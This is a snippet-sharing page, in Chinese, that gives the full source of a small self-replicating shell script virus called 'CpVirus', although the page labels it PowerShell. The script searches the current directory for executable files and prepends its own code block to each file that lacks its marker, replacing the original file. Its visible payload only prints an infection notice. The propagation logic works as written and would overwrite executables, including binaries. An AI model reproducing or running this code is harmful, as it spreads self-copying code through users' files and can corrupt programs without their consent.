[PowerShell] 将自身插入到其它shell脚本文件中 →→→→→进入此内容的聊天室

来自 , 2020-06-15, 写在 PowerShell, 查看 110 次.
URL http://www.code666.cn/view/312f1ba2
  1. #!/bin/sh
  2. #Virus by ijse start
  3. #=====Your Code Here=========
  4. echo "!This file has been infected by CpVirus written by ijse."
  5. echo "!You can remove the virus code by editing this file."
  6. echo "!Just remove the lines between '#Virus by ijse start' and '#Virus by ijse end'."
  7. #============================
  8. for exfile in `find ./ -executable -type f`;
  9. do
  10.         tmpFile=$exfile\.tmp
  11.         firstLine=`head -2 $exfile|tail -1`
  12.         if [ "$firstLine" != "#Virus by ijse start" ]; then
  13.                 endnum=`grep -n -x "#Virus by ijse end" $0 | awk -F":" '{print $1}'`
  14.                 startnum=`grep -n -x "#Virus by ijse start" $0 | awk -F":" '{print $1}'`
  15.                 let length=$endnum-$startnum+1
  16.                 echo "`head -$endnum $0|tail -$length`" > $tmpFile
  17.                 cat $exfile >> $tmpFile
  18.                 chmod u+x $tmpFile
  19.                 rm $exfile
  20.                 mv $tmpFile $exfile
  21.         fi
  22. done
  23. #Virus by ijse end
  24.  
  25. //shell/1294

回复 "将自身插入到其它shell脚本文件中"

这儿你可以回复上面这条便签

captcha